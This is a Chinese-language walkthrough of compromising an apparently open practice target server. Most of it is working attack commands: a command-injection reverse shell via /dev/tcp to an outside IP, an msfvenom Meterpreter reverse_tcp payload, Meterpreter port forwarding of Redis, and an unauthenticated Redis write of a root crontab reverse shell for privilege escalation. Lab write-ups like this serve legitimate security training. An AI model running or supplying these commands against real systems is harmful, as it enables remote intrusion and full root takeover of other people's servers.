0x01:目标是一个开放的靶机站,支持sql注入,XSS,文件上传,代码执行,命令执行等
0x02:其中命令执行处,可以执行代码
0x03:既然这样,那就反弹一个shell吧
远程服务器nc监听一下吧
0x04:rce命令执行处,执行
- 127.0.0.1 | bash -i >& /dev/tcp/211.149.143.91/666 0>&1
复制代码
得到shell,查看自己的权限,查看系统版本,查看端口信息
继续查看具体版本
0x05:内核提权走一波
尝试无果之后,继续查看其它思路
0x06: 发现redis一枚
redis 默认使用的是6379端口,但是并没有对外开放,所以可以先把这个端口转发出来,可以使用metasploit工具进行端口转发
1,首先生成一个反弹shell的控制端,代码如下:
- msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=211.149.143.91 LPORT=888 -f elf > bihuo.cn.elf
复制代码
2,然后把这个shell.elf 上传到目标网站上,需要上传到可写目录,所以进入/tmp目录查看一下
给可执行权限:
使用metasploit 监听888端口,反弹shell
目标站点执行./shell.elf
成功拿到meterpreter
0x07,接下来把6379转发过来
- portfwd add -l 999 -p 6379 -r 127.0.0.1
- # -l 监听本地999端口,
- #-p 远程的目标端口
- # 意思是把目标的6379端口转发到本地999端口,999是你自己的服务器端口,这样你就可以随便操作了
复制代码
接下来使用nmap探测redis是否存在漏洞
- nmap -A -p 999 -script redis-info 127.0.0.1
复制代码 因为我们已经做了端口转发,所以这个999,实际是目标站的6379端口,127.0.0.1实际上是目标的ip
可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径
既然999我们可以连接,那么我们就连接上,默认口令是空,我们下载一个redis2.86版本到我们的服务器上,解压后执行
接下来我们使用redis匿名访问漏洞写入反弹shell,我们再开启一个nc,监听555端口,把这个反弹shell直接转发到555端口即可
- set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/211.149.143.91/555 0>&1\n\n"
- config set dir /var/spool/cron
- config set dbfilename root
复制代码
0x08:总结一下:
1,我们首先通过rce反弹一个普通的shell,端口用的是666
2,我们又使用metasploit 生成被控端反弹meterpreter 用的端口是888
2,把redis 转发到本地端口进行连接 ,端口用的是999
3,利用redis,写一个反弹shell,本地监听的的端口是555,因为redis是基于root权限运行的,所以写的反弹shell就是最高权限,至此,提权完毕
|